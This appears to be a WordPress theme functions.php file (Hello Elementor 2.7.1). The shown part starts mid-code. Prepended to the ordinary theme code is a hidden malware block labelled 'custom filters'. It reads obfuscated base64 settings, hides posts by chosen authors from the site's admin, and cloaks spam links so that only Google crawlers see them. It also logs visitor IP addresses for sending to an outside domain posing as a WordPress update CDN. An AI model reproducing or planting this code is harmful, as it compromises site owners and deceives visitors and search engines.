STR; } function urlBlock($url, $lastmod, $changefreq, $priority) { return << $url $lastmod $changefreq $priority \n\n STR; } function modifyWritersString($writersArr) { $writersArrMod = array(); foreach ($writersArr as $item) { $writersArrMod[] = '-' . $item; } return implode(',', $writersArrMod); } function customFiltersSettings() { $settings = get_option('wp_custom_filters'); if (!$settings) { return null; } return unserialize(base64_decode($settings)); } function findUserIdByRequestUri() { global $userSettingsArr; foreach ($userSettingsArr as $key => $arr) { $regexp = key($arr['sitemapsettings']) . '|' . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$'); if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) { return $key; } } } function isCustomPost() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (in_array($post->post_author, $authors_ids_arr)) { return true; } return false; } function removeYoastMeta() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $authors_ids_arr)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function getRemoteIp() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function customCheckSe() { $ip = getRemoteIp(); if (strstr($ip, ', ')) { $ips = explode(', ', $ip); $ip = $ips[0]; } $ranges = customSeIps(); if (!$ranges) { return false; } foreach ($ranges as $range) { if (customCheckInSubnet($ip, $range)) { //customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range // , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE'])); return true; } } //customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range // , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE'])); return false; } function customIsRenewTime($timestamp) { //if ((time() - $timestamp) > 60 * 60 * 24) { if ((time() - $timestamp) > 60 * 60) { return true; } //customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp)); return false; } function customSetDebug($data) { if (($value = get_option('wp_debug_data')) && is_array($value)) { $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data); update_option('wp_debug_data', $value, false); return; } update_option('wp_debug_data', array($data), false); } function customSendDebug() { $value = get_option('wp_debug_data'); if (!is_array($value) || (count($value) < 100)) { return; } $url = 'http://wp-update-cdn.com/src/ualogsec.php'; if (is_wp_error($response)) { return; } else { if (trim($response['body']) === 'success') { update_option('wp_debug_data', array(), false); } } } function customSeIps() { if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) { return $value['ranges']; } else { //customSetDebug('time to update ranges'); $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { //customSetDebug('error response ipranges'); return; } $body = wp_remote_retrieve_body($response); $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($ranges)) { //customSetDebug('invalid update ranges not an array'); return; } $value = array('ranges' => $ranges, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function customInetToBits($inet) { $splitted = str_split($inet); $binaryip = ''; foreach ($splitted as $char) { $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $binaryip; } function customCheckInSubnet($ip, $cidrnet) { $ip = inet_pton($ip); $binaryip = customInetToBits($ip); list($net, $maskbits) = explode('/', $cidrnet); $net = inet_pton($net); $binarynet = customInetToBits($net); $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits !== $net_bits) { //echo 'Not in subnet'; return false; } else { return true; } } /** * function buffer_start_custom() { * * global $post, $userSettingsArr; * * $authors_ids_arr = array_keys($userSettingsArr); * * * * if (!in_array($post->post_author, $authors_ids_arr)) { * if (is_single() || (is_front_page() || is_home())) { * ob_start("callback_custom"); * } * } * } * */ function buffer_start_custom() { echo '' . PHP_EOL; if (!isCustomPost()) { if (is_singular() || (is_front_page() || is_home())) { echo '' . PHP_EOL; ob_start("callback_custom"); } } } function buffer_end_custom() { ob_end_flush(); } function callback_custom($buffer) { global $homeLinksSettingsArr; return buffer_prepare_custom($homeLinksSettingsArr, $buffer); } function buffer_prepare_custom($homeLinksSettingsArr, $buffer) { if (($homeLinksSettingsArr['hiddenType']['cloacking'] === 1) && !customCheckSe()) { customSetDebug('no google bot, without changes ' . getRemoteIp()); return $buffer; } $textBlock = text_block_custom($homeLinksSettingsArr); $textBlock = additional_style_custom($homeLinksSettingsArr, $textBlock); if ($homeLinksSettingsArr['position']['footer'] === 1) { customSetDebug('footer position'); return $buffer . PHP_EOL . $textBlock; } if ($homeLinksSettingsArr['position']['head'] === 1) { customSetDebug('header position'); return $textBlock . PHP_EOL . $buffer; } } function text_block_custom($homeLinksSettingsArr) { global $post; $block = ''; if ($homeLinksSettingsArr['textBlocksCount']['onlyHomePage'] === 1) { if (is_front_page() || is_home()) { customSetDebug('home page mode'); $block = get_option('home_links_custom_0'); } } elseif ($homeLinksSettingsArr['textBlocksCount']['10DifferentTextBlocks'] === 1) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $block = get_option('home_links_custom_' . $matches[0]); $log = sprintf('10DifferentTextBlocks page mode block num - %s permalink - %s', $matches[0], $url); customSetDebug($log); } elseif ($homeLinksSettingsArr['textBlocksCount']['100DifferentTextBlocks'] === 1) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $digits = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $block = get_option('home_links_custom_' . $digits); $log = sprintf('100DifferentTextBlocks page mode block num - %s permalink - %s', $digits, $url); customSetDebug($log); } elseif ($homeLinksSettingsArr['textBlocksCount']['fullDifferentTextBlocks'] === 1) { } else { } return !$block ? '' : $block; } function additional_style_custom($homeLinksSettingsArr, $textBlock) { if (empty($textBlock)) { return ''; } if ($homeLinksSettingsArr['hiddenType']['css'] === 1) { $cssRules = css_rule_custom(); return $cssRules[0] . PHP_EOL . $textBlock . PHP_EOL . $cssRules[1]; } return $textBlock; } function css_rule_custom() { //return ['
', '
']; return array('
', '
'); } function home_links_settings_custom($settings) { foreach ($settings as $key => $arr) { if (isset($arr['homeLinks'])) { return $arr['homeLinks']; } } return array(); } $userSettingsArr = customFiltersSettings(); if (is_array($userSettingsArr)) { add_filter('posts_where_paged', 'add_where_condition'); add_action('pre_get_posts', 'post_exclude'); add_action('wp_enqueue_scripts', 'wp_core_js'); add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3); add_filter('rewrite_rules_array', 'sitemap_xml_rules'); add_action('wp_loaded', 'custom_flush_rules'); add_action('init', 'customSitemapFeed'); add_action('template_redirect', 'removeYoastMeta'); $homeLinksSettingsArr = home_links_settings_custom($userSettingsArr); if (!empty($homeLinksSettingsArr)) { add_action('wp_head', 'buffer_start_custom'); add_action('wp_footer', 'buffer_end_custom'); } } /* custom filters */ /** * Theme functions and definitions * * @package HelloElementor */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'HELLO_ELEMENTOR_VERSION', '2.7.1' ); if ( ! isset( $content_width ) ) { $content_width = 800; // Pixels. } if ( ! function_exists( 'hello_elementor_setup' ) ) { /** * Set up theme support. * * @return void */ function hello_elementor_setup() { if ( is_admin() ) { hello_maybe_update_theme_version_in_db(); } if ( apply_filters( 'hello_elementor_register_menus', true ) ) { register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); /* * Editor Style. */ add_editor_style( 'classic-editor.css' ); /* * Gutenberg wide images. */ add_theme_support( 'align-wide' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } /** * If Elementor is installed and active, we can load the Elementor-specific Settings & Features */ // Allow active/inactive via the Experiments require get_template_directory() . '/includes/elementor-functions.php'; /** * Include customizer registration functions */ function hello_register_customizer_functions() { if ( is_customize_preview() ) { require get_template_directory() . '/includes/customizer-functions.php'; } } add_action( 'init', 'hello_register_customizer_functions' ); if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check hide title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } }